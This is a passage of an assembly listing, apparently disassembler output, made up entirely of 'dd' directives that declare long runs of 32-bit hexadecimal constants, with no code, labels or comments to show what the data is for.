		dd 42530D0Bh, 0CD89004Fh, 97C676B2h, 224145Fh, 0A9C7E7Ah
		dd 17F00EE9h, 0F9EE217Bh, 0C524975Fh, 0FB4F15E8h, 681C0330h
		dd 197603h, 43C83AF3h, 5BDE899Dh, 32F0212Dh, 0E65457A8h
		dd 68859948h, 0B2341EBDh, 0DAD0399h, 0A949CE54h, 0ADD5C54Eh
		dd 5E7980B0h, 0A4C5C082h, 0A968BD9Ah, 842F3F39h, 20E0D01Eh
		dd 0F2FA57AEh, 46698209h, 95C97704h, 5EAD6031h,	0BD0196B6h
		dd 76DF5753h, 0FBD95DF2h, 0FFF2D40h, 0EC61580Eh, 0C4125621h
		dd 5D48DCAFh, 495CD1BFh, 7BB5667Ah, 8D9F1A85h, 557AC742h
		dd 1657E33Ch, 34BA6336h, 9613E9EDh, 0E5B7F904h,	0B01AFCBAh
		dd 2E0567CDh, 2E35C35h,	23C06D75h, 626C7256h, 0C71A64CCh
		dd 0EE00BE5Bh, 354DE038h, 560BC712h, 0E959A4E9h, 324D77DAh
		dd 0DAF63E84h, 9DB48FD7h, 0E25E4AB8h, 0FBE9E0CFh, 0C11FC023h
		dd 3F01435Dh, 67CE092Ch, 80AB622Fh, 0A5B9F5A7h,	973141E1h
		dd 8DEABFF0h, 9F1E872h,	72124BD8h, 18C13E02h, 0C8895612h
		dd 55095E7Eh, 0D744B468h, 2C7D0631h, 8FBAD353h,	0FB8E5AE6h
		dd 16578310h, 98AADA01h, 3318820h, 7FF1B65Bh, 663DEF35h
		dd 0AAAD7B9Fh, 592745F3h, 6F5459C5h, 6FAD18A8h,	2E857EB8h
		dd 0B355E57h, 59F4A03Ch, 4B013A85h, 0F1A00BEh, 424D757Ch
		dd 9F05E919h, 173E5E24h, 6916913Ah, 0C1AE0480h,	0AFA698C1h
		dd 5515CF5h, 810F34F5h,	2B56F4DFh, 0F01774E6h, 92DDB3D7h
		dd 5838B0C2h, 3D74BDCDh, 27689754h, 3E174DC7h, 50FE269Ah
		dd 0ED5E0825h, 63AE84B0h, 950FEDE3h, 0B4B97249h, 620DA791h
		dd 23A2F76Eh, 0D15F6619h, 0F901848Dh, 0BC41C85Fh, 2D05E5B2h
		dd 63D137Bh, 5E4BFDF4h,	301CCC9Bh, 65FD384Eh, 10752DC0h
		dd 114124Fh, 3C0705E8h,	0C6F8285Dh, 5B73030Bh, 9F960819h
		dd 71E0F509h, 76816A0h,	0D2543776h, 79FF6362h, 894A6946h
		dd 7667F81h, 6E5FF6CCh,	9C6BE62Fh, 0DEBC5CE4h, 7CC1E985h
		dd 71ABE595h, 279C479h,	20EC5D01h, 484425Ch, 0B9FC7161h
		dd 6913FAh, 1B65D858h, 35B22905h, 315D0882h, 3372EB14h
		dd 0EEE3C11Fh, 109942CBh, 487609h, 0D0E4118h, 30E0CA3h
		dd 491C3545h, 0C761027Eh, 7D489258h, 0A555CDE1h, 82167455h
		dd 1C06730h, 4D797D7h, 0A92291E9h, 503C169Ch, 0F298DB0Fh
		dd 5897711Dh, 0B7F5D988h, 9FEF005Ch, 83189499h,	49B9F251h
		dd 53773740h, 0C06604Dh, 0F43D7C11h, 0E9EB8904h, 31BEFC82h
		dd 7F75A441h, 59264EDh,	41A1D5F0h, 1368F1C6h, 0F7522B0Ah
		dd 88B933FAh, 0D3F3BBFCh, 2F3CEE5Eh, 72F630E9h,	0E51B050Ah
		dd 31BCE404h, 0B8FC58C2h, 486FF205h, 8CB5C1AAh,	86802D24h
		dd 51471D5Ch, 0E77A9C8Ah, 9AF93EAEh, 759C7E53h,	9F8A9A80h
		dd 0C0978088h, 5E3A68F8h, 0BD78C14h, 57CF429Fh,	0AE426459h
		dd 0DDEFA9ABh, 0C0FD10C1h, 0C0BF54E8h, 4E902D55h, 15D58514h
		dd 0DD17D604h, 3E8CBFBEh, 0F6385E10h, 47387A7Fh, 75AB4E4Dh
		dd 4B4C2297h, 5B9F3DF0h, 638E089Eh, 0D8015A04h,	186EF280h
		dd 0AF8B7C3h, 0F93B5D7Fh, 0AACA0208h, 8068E04Ah, 9A07EAA9h
		dd 4753B747h, 0F8ACE989h, 914D97CCh, 7FC6FA8Bh,	5E7B7546h
		dd 0CA003BFDh, 8003EEC0h, 28F21FC6h, 64D94BF4h,	4201A66h
		dd 2F7597C8h, 0C0554B5Dh, 1808BE83h, 0CC0D656Dh, 25011168h
		dd 0E9D60905h, 5385FF2h, 3EF950E3h, 930B3855h, 516B8BFFh
		dd 16B97C36h, 62B2EC88h, 6DAE1F93h, 0D32D8600h,	3058052Ah
		dd 7BFD27ABh, 0A4B3814Ch, 0CCC4F380h, 0FE0523E3h, 166CE9CBh
		dd 16BE3088h, 0EC63F641h, 0C34A2887h, 157E5114h, 14EA02CFh
		dd 0C88D1070h, 926FE912h, 0C1801C01h, 0B1C3C230h, 85DFCB28h
		dd 9A44625Eh, 8EFB5FFEh, 0D12E54A2h, 0DDED2563h, 5F517644h
		dd 1660EC06h, 3B92B874h, 0A0C84652h, 46270F4h, 31E938D1h
		dd 0F0CCBA67h, 0BB904A68h, 37EB8031h, 5E5582C3h, 0FC18C42Bh
		dd 83493EB8h, 129D6857h, 8CDE2F35h, 6AB068C0h, 1E41BAEEh
		dd 0DFF8BC6Ah, 0E84A5012h, 0FB0BEA51h, 4427795Dh, 0BD37E08Fh
		dd 36026712h, 0D12B4A05h, 8A12D164h, 8B799CEFh,	81EE2D4Ch
		dd 29060E3h, 3FCAC2Eh, 89827BF6h, 0E0F18A29h, 173CC304h
		dd 0E5420B46h, 210805B0h, 29436865h, 92563E3Ah,	6612F3CBh
		dd 4B8944A4h, 75E9D8E3h, 0C1A2114Ah, 80B2BBD2h,	6396FA62h
		dd 8361285Ah, 7609681Ch
		dd 24CBB62Bh, 0AA66794h, 0ADE0E527h, 508F67B2h,	72699BC9h
		dd 4F1D7C14h, 0B26074BAh, 63A001A6h, 0D1891096h, 4C4F8B2Ah
		dd 3726094Fh, 0ED88818Bh, 0DCC5D6D3h, 0AF74042Bh, 0B87DD0E3h
		dd 21E80241h, 9555F8BDh, 963F8C70h, 0E3CA633Fh,	2E8D2773h
		dd 0B1890959h, 0CBDB04EDh, 41F38107h, 401EF010h, 0D63443C8h
		dd 0F6C16F74h, 2B02DCB8h, 0FBF3E47Fh, 0BC559362h, 8282D170h
		dd 33A82D21h, 23E208C0h, 2477A3Bh, 0AE449BF7h, 8131FE0Fh
		dd 1458AFCFh, 0EB1E8767h, 6B1C5Ah, 5E259431h, 0B269BD1Fh
		dd 2E173A1Dh, 87D4B2A8h, 0C59DEF4Bh, 59AF443Ah,	0D62822EBh
		dd 8A504244h, 8202DE92h, 2FC06A7Ah, 9E240325h, 6504280Bh
		dd 0D582DC2Fh, 52A47597h, 0CCB4BBEFh, 1FFBEEAh,	0E323102Dh
		dd 50E67F30h, 0B807AB5Eh, 0B41F1DBBh, 0E1F31CF6h, 0A034FE4Ah
		dd 2836F6A5h, 0B37F4C46h, 0F2F390CEh, 7856840Eh, 0EBD0E1ADh
		dd 9FAE3B18h, 1818C0E6h, 4B3A74AAh, 4DEB2742h, 6CC1150h
		dd 0F241808h, 2D49173Ah, 468111EEh, 4005F001h, 69CDE907h
		dd 23C153C0h, 4F64D50Fh, 0A53DEA5Fh, 4612447Eh,	7BE93030h
		dd 0AE3AE155h, 18F5BE38h, 2A6A7EDAh, 7282926Ch,	4C71EF27h
		dd 0D738EAEBh, 5680A1A9h, 29261CC4h, 0FD029B90h, 2151804Bh
		dd 0E77E61D6h, 0A14B2A68h, 8E5CCCCh, 0E01082BDh, 0DABF000Bh
		dd 31FF3A1Ch, 0F72EA5DCh, 681712CCh, 55617BB4h,	0FC7E758Eh
		dd 0E959E06Ch, 95477039h, 2E7136D5h, 0C9807D68h, 5F04307Bh
		dd 0E2FE5455h, 5035C562h, 0C1354BEDh, 9F1C1C52h, 0C7CB96FBh
		dd 501B5331h, 0CD5C0A2Dh, 387020EBh, 0BF4E2EDEh, 83302F39h
		dd 0EB515AFDh, 0B1716D27h, 4E7F88FEh, 0EA6F8FE6h, 60FA06F9h
		dd 4A83D9E6h, 6F6496F2h, 821A4FA0h, 9E6C080h, 3DF66806h
		dd 7F601230h, 0E0825D82h, 0FBD5DC08h, 0F5A037AEh, 0A2EC850Ah
		dd 8380C437h, 68585F00h, 4695704Fh, 600B3064h, 1DDEE9Fh
		dd 2553C024h, 0D55C1C02h, 0A8F5400Fh, 65023076h, 0CFCBF24h
		dd 5F313E48h, 25E986E4h, 4AD5C36Dh, 3732C05Ah, 4C212E63h
		dd 1804193Ch, 73873808h, 0BFDAF097h, 0EF2509E7h, 0BF341274h
		dd 0C642D98Dh, 0D45A095Bh, 14277C00h, 21B9CB81h, 4B1028AEh
		dd 82470491h, 0E889EB50h, 0F4B08427h, 3313CED1h, 89D93157h
		dd 0B061C6C7h, 51534416h, 3A0F38B0h, 0A47D3B1Ah, 41BA8D5Eh
		dd 0C5C96DDh, 9806300Dh, 5AB36612h, 430E1FAh, 0F70BC108h
		dd 0B6820476h, 7DC98B8Fh, 95E2ABBBh, 4D1D0A54h,	76428D8Bh
		dd 0F8F68100h, 431BB171h, 0C9B935C8h, 78A46ACAh, 0CC864191h
		dd 0D369F6D9h, 9B7AD508h, 80B8E928h, 0FA0988E2h, 2B8E685Bh
		dd 0D021DCD0h, 29800310h, 94B0C9C5h, 6D14492Bh,	95247F95h
		dd 3B6CE99Ah, 84F1A5CFh, 0D4EB2DEBh, 90E98428h,	0AD635715h
		dd 28E80658h, 0A49C07EAh, 1CF90951h, 58B76E78h,	58E9E002h
		dd 2F910877h, 18A7D77Eh, 48D6F74Dh, 0A644B957h,	4ECAEC54h
		dd 397D3753h, 0F0928885h, 0E274BA46h, 0B427AB26h, 0AC053410h
		dd 305E7768h, 0F6B4B6D9h, 924BDE4Bh, 2DDFF680h,	1616B6D5h
		dd 0EB6620E9h, 721613CBh, 4288BAA4h, 993912EBh,	7F3C004Bh
		dd 8115A26Ch, 1740CD3Dh, 0F70C7B36h, 39EEFD25h,	290F2D80h
		dd 93A5C601h, 0A928AE8Bh, 4FA3B030h, 5AD4A44Dh,	0F78829Fh
		dd 334875BEh, 3EFA5557h, 5A1A9160h, 3944B850h, 5EFC580Ah
		dd 0FA1385C6h, 49F2CA82h, 0A4845682h, 839812CBh, 3CF3DDF8h
		dd 4204CF07h, 8B958F2Ch, 1C81D3E0h, 9759F6E7h, 0DF6E020Eh
		dd 4F5C08Eh, 0BC176241h, 0CA402695h, 73C5BE81h,	0EC3E53AEh
		dd 0F007739Bh, 68ADF3D5h, 6A71DE39h, 5D2C02C7h,	5ADF76FEh
		dd 0C4F89564h, 0F2C2EB5Eh, 2DB6445Eh, 31EA6B82h, 0D6818B2Eh
		dd 2227BE3Fh, 6E740456h, 9B810BFDh, 342A196Ch, 0F00E1608h
		dd 81BD5836h, 41ACE9D6h, 0D9E336Bh, 0D8B0D94Ah,	581B7A61h
		dd 0FB5B1D89h, 60EC8445h, 76046FAh, 3E0FE64Ah, 0E5A5B65Fh
		dd 0F2FE7926h, 0C8C71090h, 0B54C9A40h, 51C60BC8h, 960DB53Dh
		dd 8EBCC1EEh, 3ABEA1D7h, 5BD29FC8h, 0E5EAB856h,	9F450C04h
		dd 0BA4225EFh, 4868FD90h, 3378BDD8h, 6407F751h,	14B5DD6h
		dd 0BE092356h, 0F28E665h, 20A215CFh, 1A587EA6h,	68CA3004h
		dd 37BA7D78h, 79D8B6CFh, 12AF277h, 6812437Ah, 62AE3458h
		dd 127F4279h, 0AE87DF13h, 0C7B1056h, 0C4028BBBh, 0F8E96D8Ah
		dd 927056F2h, 6CBA0106h, 7F33A5FCh, 0E90C4201h,	99AF3ED5h
		dd 98D516F5h, 68B64F7h,	43B8C1h, 0D1F6AEC9h, 90DFB753h
		dd 5359C99h, 0C01B17BEh, 55CE81C3h, 15303616h, 6EE3AE01h
		dd 0F46F1346h, 0B801E230h, 0E9727455h, 0D852FF97h, 0F36240D0h
		dd 68813023h, 0A819C0AEh, 6A2FE9F4h, 55EA53Fh, 0EB2E94ABh
		dd 5780B2B2h, 39456851h, 5965251Fh, 2169F183h, 7485E536h
		dd 0B4E9DC53h, 0CCFE590Bh, 52792FDh, 0F5BE52DBh, 2AEF4089h
		dd 2C4A1C79h, 4D462FE4h, 881E244Fh, 0BCC20BD3h,	7EC5C344h
		dd 3CE87E58h, 7BEDB8C0h, 0D5A03487h, 0DA2608B7h, 5E390C40h
		dd 7661A5CBh, 3F831009h, 320BC1C5h, 0B4188CAh, 0B3AE5912h
		dd 0B20596E9h, 0C1C89FFDh, 0AD0B3DC5h, 10F90CE1h, 856931D9h
		dd 2135260Eh, 0A3F73080h, 6E0C0503h, 0EB3629E9h, 85EAC733h
		dd 2927F1A7h, 0C0C44A75h, 82671816h, 60EE92D7h,	8066E03Ch
		dd 11B0A468h, 333BF2CEh, 4D700820h, 5A526009h, 2A72061Eh
		dd 1F081EB6h, 0B6003FFBh, 8BF6800Fh, 5A4BF028h,	0FC96D6F3h
		dd 722C3A09h, 68665205h, 22FB467Fh, 0EC70AC1Fh,	0D2597EB5h
		dd 464A5772h, 0F4E24CB1h, 0FB09EB22h, 0D177657Ah, 5EB5E6FAh
		dd 10A3A650h, 7E5F25EDh, 450283F0h, 68C81964h, 0A19B13FDh
		dd 0C898E31Eh, 9F601172h, 0A197E5D9h, 0D87605A1h, 9B03105Fh
		dd 0BB5B805Eh, 0B348B926h, 0DE815A11h, 0BE4866C3h, 0FC054EBDh
		dd 0D6F2F716h, 49E8D678h, 12802B04h, 342513ACh,	0FEEFEA48h
		dd 78C6B213h, 167B28B6h, 0CDA17FE9h, 31BE2EB0h,	0C24EC187h
		dd 0E8AC65F4h, 0E04E242Fh, 1B36F380h, 5634011Dh, 970262BEh
		dd 72A07B5Ch, 584A60CFh, 0EF807DB7h, 0D7F6CB19h, 0E7E0020Ah
		dd 18D07B49h, 28E1E3E9h, 0E63FC05Bh, 0F6CE0303h, 0B3F9B450h
		dd 0E490F7C4h, 58B353ACh, 0B7712B7h, 505BDC30h,	14751E04h
		dd 73F67765h, 117DAAA8h, 18FBE55Ch, 68227B2Dh, 0DE012C09h
		dd 0B89F0B6Fh, 9EF6D46Eh, 0D6BF7B92h, 495602AEh, 0B58441C0h
		dd 92ECD1h, 79A9E7BEh, 0F8F18978h, 0BA7F408Ah, 1C7C5A0Bh
		dd 17B0108h, 0B0DF8E14h, 3016A5EAh, 3B0C2FA9h, 659BB26h
		dd 296E058Eh, 81EAD94Eh, 7FDD01CCh, 0EE9311F3h,	0F9621E8Dh
		dd 22EB750h, 0E93A886Eh, 22EC279Dh, 0E8BBB732h,	0AE98571Bh
		dd 0F9C048F3h, 75525EC6h, 4FB6BE17h, 4985343h, 62D20C00h
		dd 0E7681D6Bh, 85B34Fh,	18DADE80h, 0DC9DCE29h, 0BAF0C4FBh
		dd 80871464h, 0C04029A2h, 0BEB5A19Dh, 9965EF0Eh, 162CB9C0h
		dd 0CBEECFFBh, 0F6680A00h, 6094D421h, 0DC08860Dh, 0A61B4BDAh
		dd 50C619A4h, 7B407831h, 242849EAh, 10AD1419h, 2435504Dh
		dd 0D5C4FE2Fh, 32A0A207h, 3C414ECCh, 6AE8E7C2h,	5848E728h
		dd 6636165Fh, 97967FBh,	5DA75DDBh, 0A6B09D34h, 0D565774Eh
		dd 0A5D19DAEh, 96F8E761h, 0E220BB29h, 0B5E408E9h, 6850FCF6h
		dd 346252B6h, 88DAD33Ah, 492A6851h, 0A32F9159h,	20151475h
		dd 660747DCh, 535057ADh
		dd 33AEBB51h, 7D51B8E4h, 0D8311F71h, 0C325075Bh, 9C35C160h
		dd 0E0C1F044h, 517E047Ch, 57EB97Fh, 0BFC8093Eh,	5848AE59h
		dd 0B9489410h, 9751234h, 62A0F9DCh, 7C0F22B9h, 8653762Ch
		dd 9A0A408h, 7DDCE3C1h,	3F9ABAC0h, 89744CE4h, 87247620h
		dd 4A049EDDh, 9A00315h,	0D79FAA07h, 6EC3E520h, 9F08BFCh
		dd 6202C6D2h, 80D404C8h, 4737CEBEh, 0D14E1E3Ah,	0C4EE1CE6h
		dd 92B5DA8Fh, 0C0F98974h, 5D8E6809h, 933EAD45h,	21EE0C3Dh
		dd 100B6982h, 17D441C7h, 0E609EF7Fh, 11866002h,	0BC89B1E2h
		dd 804E3AA6h, 0E955DBFDh, 53452730h, 64F968D5h,	0B0856B5Ch
		dd 7C9D520Eh, 3FD66788h, 0D8776C2Fh, 626E758h, 13121E44h
		dd 0B2BD95C0h, 718A0908h, 480E5C1h, 0BB2188EDh,	47E95D08h
		dd 0AB581203h, 6C8330D0h, 0BA614A28h, 77F743CCh, 963C7CDCh
		dd 27DB2116h, 402B550h,	89AE0326h, 0BFCF05D9h, 4ABE8BCCh
		dd 2DB8D04Dh, 7D2D97DDh, 5B44D601h, 5AE9C3D8h, 5860A864h
		dd 43309180h, 0B01D5074h, 0D151065Dh, 1CD7011Ah, 0F626B909h
		dd 0EABE806Bh, 777A1D9Ah, 24E9F060h, 5280C0CAh,	0C2913561h
		dd 0B7560EFDh, 0C19598BAh, 0C04F02EBh, 8288C3D4h, 6B2351D7h
		dd 7F7AABFEh, 2CA85834h, 0C49F6EFBh, 33F5979Ah,	0D746D2CFh
		dd 7202FC33h, 8005EBC0h, 587360E3h, 9221B65Fh, 8CC7FFEAh
		dd 0AA81C214h, 0C5BB6367h, 5E6B7E25h, 0F552FFE4h, 0C0EC24EEh
		dd 6C7798F6h, 8C3487B0h, 0DB8117B5h, 8264579Dh,	4ECDB087h
		dd 0BA85BA74h, 257D14EEh, 3CF3F206h, 0FF2054B2h, 61B80047h
		dd 0D64487Ch, 0A90F3498h, 0D7E88373h, 95D981E5h, 0D540FF04h
		dd 0A443EFC0h, 0D9D49529h, 36BE046Bh, 0EA357818h, 99C2BC19h
		dd 0F96EF6C0h, 7F08A515h, 0CE31058Eh, 7505BB59h, 8EAE0CAAh
		dd 59592C06h, 6767A25h,	0CE45A4F7h, 37408211h, 34650BBBh
		dd 0B5D0E605h, 11B0504Ah, 993F179Ch, 11B11Fh, 0BD61E907h
		dd 8649129Ch, 1F10775Ch, 792B30BFh, 6F0B317Ah, 484512AFh
		dd 3713A4D3h, 2C0E2A55h, 0F3FF1213h, 0ADA4D60Eh, 0BF5F4E87h
		dd 0DC6F4D81h, 68827A22h, 28D9753Dh, 53E7DF9Ch,	5AD08A38h
		dd 0E3D520FBh, 14CC097Bh, 0DD66895Fh, 92EF90Ah,	17540C50h
		dd 984462h, 3474E5B8h, 1F242E7Ah, 0B40F773h, 95D5B4EFh
		dd 9E2B4AC2h, 366C0CF5h, 0FEC9B85Eh, 98FA740Ah,	0EFAFFC09h
		dd 0E1D13E8Bh, 49019EF0h, 0C0DBF181h, 0E06B3884h, 729F2DBBh
		dd 0A447BDD8h, 34807900h, 0BF8B6AE9h, 172F7446h, 910CA5Fh
		dd 547062C1h, 0E4FD64B7h, 65B5EAFEh, 973BCD5h, 0B456EF1h
		dd 42BE1186h, 0A7392BB0h, 9E03B9C0h, 897908ECh,	0DE28818h
		dd 0F9DD773Dh, 9C5DC37Fh, 5EF910A4h, 11625BDh, 5591EBD9h
		dd 0E56AC831h, 811F3082h, 3A1E092Ch, 0A4215E8Fh, 0D990BCE9h
		dd 1203BF57h, 76A305Bh,	446C1D60h, 9199C738h, 2C0FD343h
		dd 6B5A0B18h, 206F8978h, 56F0BEEEh, 6114CBBh, 803C1409h
		dd 0C3EB71C0h, 7DFF7F2Dh, 26C234A9h, 50781576h,	43920968h
		dd 15D54DB8h, 0DAE98522h, 2F5BBFEh, 60454120h, 0B9CD296Eh
		dd 0F8BDC111h, 39A90407h, 1731F8FFh, 7C94B8F0h,	89A20250h
		dd 0F49FE9C5h, 421CFC55h, 5B004369h, 14ECCB81h,	9422AD20h
		dd 93A7EB1Dh, 0E93730FBh, 95923889h, 2769D907h,	1B55E35h
		dd 0B60172ACh, 28F0B39Dh, 8ABB60F3h, 97CC365Eh,	1C13E76Ah
		dd 9BB2C805h, 1E955CE9h, 10A8B2EFh, 134ABC68h, 5760070Eh
		dd 0F77E7147h, 20E621D2h, 6D0CCAE8h, 0E420D95h,	0EDCC022Dh
		dd 7F96E985h, 0C9C2F574h, 0EF97F10Fh, 6D312218h, 14BC5F91h
		dd 825E4213h, 0E1F36E82h, 0E66A7FDDh, 0E1DD5A46h, 3B0E997Bh
		dd 3C7D7089h, 253BC758h, 39CEECBh, 44624EF6h, 0F449CC7Dh
		dd 1B12E731h, 50AA0DF9h, 0EC4E0800h, 1DDC059Dh,	0EEA1268h
		dd 14DDBACFh, 0BE09E727h, 7103F07Ch, 0D3B8A0C3h, 489D01A8h
		dd 48147229h, 0A1372B4h, 9761A473h, 320645Ah, 7589EB81h
		dd 0F5215F4Fh, 82080471h, 5C520C41h, 738CDA24h,	48C5E4CFh
		dd 0E6AD31EBh, 0FE8801C7h, 0B7F884FCh, 6682915Eh, 7A516568h
		dd 0E507676h, 3CE9A8B1h, 0CD12C4D5h, 2DB21659h,	6E894186h
		dd 4FDD3329h, 0F581C8D4h, 0AD02BF75h, 248BD1FFh, 9F7C88CBh
		dd 0EDB5E14h, 261D716Fh, 4C6CCA29h, 0B4128DAh, 5B265E6Ch
		dd 0BFD016EFh, 0A702973Dh, 6960859h, 16786976h,	0DF21A96Bh
		dd 469EF320h, 56B65516h, 10E4085Ah, 1FF6625h, 5329FD05h
		dd 3554E92Dh, 0BCF7DD31h, 131BA684h, 0CD883092h, 0EF485A22h
		dd 81F4A628h, 0A73BBF33h, 4B925C10h, 0FD259AFCh, 72CB0DECh
		dd 0AF787C41h, 9060965Fh, 5C6C2887h, 0CDACB81h,	0D3CD6B60h
		dd 36901301h, 92D7E94Dh, 0BAB94881h, 3F37036Dh,	7938590h
		dd 2F757508h, 7F1251D6h, 6366F975h, 2409AD02h, 18197668h
		dd 985055D6h, 4CB50960h, 0E85721E5h, 1B85850h, 910D34A6h
		dd 0FD31062Dh, 0C42AD52Eh, 0CBB6440Fh, 44EB0720h, 0AFEB8811h
		dd 4740664Eh, 3CEB61F1h, 40579842h, 729F4EE2h, 0C03DB8F7h
		dd 0FE35402Ch, 5D7B6207h, 0DBA5A627h, 0EA77A7A9h, 0B8625D96h
		dd 0EE07CE72h, 6F187F54h, 1B7AC660h, 0E9CB1780h, 5A758230h
		dd 0FF5AB3F4h, 0D7693C73h, 0F62A99E6h, 8B09C55Dh, 8014653Eh
		dd 8549900Ch, 44C9A022h, 2AEA2E62h, 12081E30h, 487EA126h
		dd 0BDAAC23Ah, 54B87050h, 4A99EB00h, 39E97BAAh,	18A0BA4Bh
		dd 449741A1h, 580E77Eh,	8D6850A9h, 3E007C1h, 0F577CC25h
		dd 7E538773h, 5A8BAB16h, 0B325A2Dh, 0CE87798h, 7ABDD0A4h
		dd 96D0BC13h, 0F19BA85Ah, 7A34FAE9h, 26D22568h,	3320E3C6h
		dd 0B0E0971Fh, 0A02DCEAh, 89582155h, 0E9A189D5h, 0D344FE9Ah
		dd 5D83C8AFh, 8CFAAE4Ah, 0F9D6B644h, 0AB5E23F7h, 68529143h
		dd 41A3CC4Dh, 36584C1Ah, 6E97F9FDh, 2D01C8C8h, 1ACD2660h
		dd 5F4C283Fh, 3084514Ch, 0A0685BF5h, 75059A46h,	0BEC683FFh
		dd 624E7F0Fh, 0D538898Bh, 0FBC16024h, 0E5D924E7h, 40532B59h
		dd 0E4D4B00h, 2BF23A2h,	38097C14h, 0BAE0D7F7h, 0E62D0842h
		dd 0C2FD8F1h, 57E94F47h, 59958859h, 0EF736F2Bh,	0F8081B8Dh
		dd 0A7F26556h, 31D1EEC5h, 4C20FD29h, 9DC9928Dh,	41EE1027h
		dd 3C9F2342h, 0CB011381h, 7CFCFA01h, 77202A5Ah,	481472E2h
		dd 460662C4h, 286FEF1Dh, 880E590h, 0F82CE959h, 0E7BC927Fh
		dd 7DB1F77Eh, 46A7126Eh, 2F02D4Ah, 0EDC620h, 0E107705h
		dd 18C1352Eh, 2D66620Eh, 1D1982B1h, 102BC155h, 0C188F651h
		dd 0F75A75CAh, 8740912Eh, 0E70B03A5h, 0B7AA8572h, 27AC9795h
		dd 0DED6D1D3h, 4B816D78h, 0D1B516EAh, 1413C06Eh, 0AFB4AF00h
		dd 0BCA7CC80h, 0CAE90B43h, 99B432D8h, 825EC683h, 7BC7E4F5h
		dd 0FFE8FF6Bh, 0DB67E5E9h, 0EB75DFB3h, 2F1C195h, 1D1AD764h
		dd 80A2C6DCh, 73131FE2h, 6FBD5043h, 0EF0C165Ah,	35F36064h
		dd 0FC6DBE17h, 90E2E743h, 0FEB6D223h, 0C506A05Dh, 0ED4BC011h
		dd 425C5992h, 0D5257AB3h, 0DEAD50C7h, 3DC943DFh, 79EBDC4Eh
		dd 553160F7h, 41706805h, 7872262h, 8012C614h, 0EA13BD96h
		dd 40409AD4h, 49A45E07h, 7EDF8925h, 31D042EFh, 0BEB965D5h
		dd 0FF80E0AFh, 5854505Ch, 1714F94h, 0E9013302h,	163D6965h
		dd 3407A04Ch, 0D40EB83Fh, 7A45FC0Dh, 0BE3DE60Fh, 6598035h
		dd 0B7299075h, 0E3A526C5h, 106FF33Ah, 73801E5Ah, 883DC307h
		dd 8F9F5BD9h, 0D524DFA5h
		dd 12F3D8ADh, 739B111h,	0E4094E2Eh, 0F100BE50h,	2041AECEh
		dd 71E59045h, 3AFA304Bh, 8A659B28h, 1AF0C55Eh, 27AC504Eh
		dd 685C16C4h, 0D60EE82Bh, 10395107h, 0FF9B6367h, 4D48F9E2h
		dd 580473E7h, 5FE909B7h, 0BE07AFE8h, 0CF17AD7Eh, 142FD146h
		dd 8BDBF4B5h, 1C553CCBh, 69E7A094h, 35848241h, 68FED083h
		dd 9BB71D53h, 6F6CF865h, 0E9430B34h, 0B1F47A14h, 0D7881B87h
		dd 78BDC1A3h, 87142747h, 0F569AFD1h, 0F800D793h, 51AB2B09h
		dd 0C597E946h, 0C301A3h, 96699FDh, 0B7FC4168h, 46E9774Eh
		dd 0BE84E085h, 0BCBB6C34h, 5A05851Bh, 5569B3ADh, 9252358h
		dd 68BCC84Ah, 8C124E11h, 0FE00CAB1h, 885066C6h,	0E9D0F6F0h
		dd 80581083h, 0F19FDFEEh, 0A58FE918h, 0B99574FBh, 0FFFA7B89h
		dd 2D2699F6h, 4D0B09h, 8D2F4272h, 0D0017C04h, 1C68081Ch
		dd 9DE90B14h, 2A05D761h, 9575F1F8h, 923FFB7Ch, 0B6AB7BF9h
		dd 0FE277B8Fh, 6F10FE42h, 0BF14B525h, 0BB8554Eh, 0CA310244h
		dd 99A1DE59h, 2B2DFF75h, 5E20A1C8h, 3A2DBA6Fh, 0BD92CDF8h
		dd 0E440B27Eh, 0B53DF847h, 7936E110h, 249A7F95h, 7640947Fh
		dd 0C27499EFh, 5C053A05h, 0CD922CFEh, 3F200DE9h, 0CE2980F1h
		dd 0E53C40B7h, 1355E31h, 21E90680h, 0C0926998h,	33529135h
		dd 16C5904Fh, 0FB22F03h, 0BA6AC6A7h, 5AD68508h,	0C38EFB58h
		dd 8D795716h, 0C7B07F43h, 2FE9F853h, 12F58B98h,	3964DD2Eh
		dd 0B78734BFh, 7C629E51h, 0B359FDBAh, 0B2B050C1h, 2DE96DD8h
		dd 0D20627Eh, 65133A83h, 0E700ECB1h, 2FF729D6h,	0F4882DE9h
		dd 98C36FFh, 0C0FE93B0h, 6F06F05Dh, 9BD0ED8h, 6862AAE9h
		dd 0AE9A235Dh, 0F19F023Ah, 41AA0F7Dh, 0D640A081h, 0D1A96071h
		dd 4E055A00h, 292D367Bh, 742E7C8h, 1E2B5159h, 59E46F86h
		dd 77F01A2Fh, 0FBEF64A4h, 3161C2F5h, 801B4B3Bh,	0EA58A2D2h
		dd 77F607C6h, 0AFD229F0h, 0FDE65F49h, 348B5D16h, 6E9E39AFh
		dd 0C6B61B18h, 3F50502h, 5D4819E9h, 85328993h, 5AE79CD6h
		dd 0FEA4BCC2h, 0A9F173BBh, 0E6273415h, 0F0F610AEh, 0A79342CAh
		dd 98855D97h, 7E415E03h, 3FF29F60h, 0A35AF79Ch,	1F9301F0h
		dd 7D68C9CCh, 0C8F939Fh, 165AA58h, 0D6C2C559h, 0FDB86313h
		dd 74586E42h, 56BD7E20h, 39B7C26Eh, 7EC200Fh, 0F66EF480h
		dd 0BE2FD36Fh, 0A3338E0h, 5140E73Dh, 4A6B0EAAh,	0E98515A9h
		dd 49CE033Eh, 10A3F209h, 6934E160h, 90383C1Bh, 220D0C94h
		dd 1D0C4F41h, 19532710h, 82476F1Ch, 5B138948h, 0E1F8BB9Ch
		dd 0C1E04A9Dh, 0EBE534Ah, 0B5B95B34h, 35CEF82Eh, 3B1EC9Fh
		dd 575BC281h, 0C0946E7h, 0D5450D70h, 202E150Ah,	140CD008h
		dd 78685F04h, 431EE6Eh,	8C666D9Ch, 0F348B900h, 0CB814364h
		dd 60473F2Fh, 1290C383h, 0A0C6E7E8h, 3FE7F7A1h,	613108F1h
		dd 956C69D1h, 67E2099Eh, 0F630D0A0h, 40970CCFh,	0B4DF0363h
		dd 0A40F6204h, 28D87955h, 75EF2F93h, 0B82D7AA5h, 0CAEF4B06h
		dd 32682C9Ah, 66607B26h, 0E87998BAh, 9539ED52h,	0AD467112h
		dd 0C7CE505Fh, 0F14F360Dh, 0EF207441h, 274AE9h,	57B8BAB1h
		dd 89BD66E3h, 0D2CD84FFh, 60555EBAh, 0E1AFEA05h, 49F40FBAh
		dd 0B86C4974h, 55E4A941h, 1F210068h, 0E95D0DF0h, 38913ED4h
		dd 6913DF3Bh, 0F7058CEAh, 0F65C25F8h, 2E0ADE6Ah, 30C0CC17h
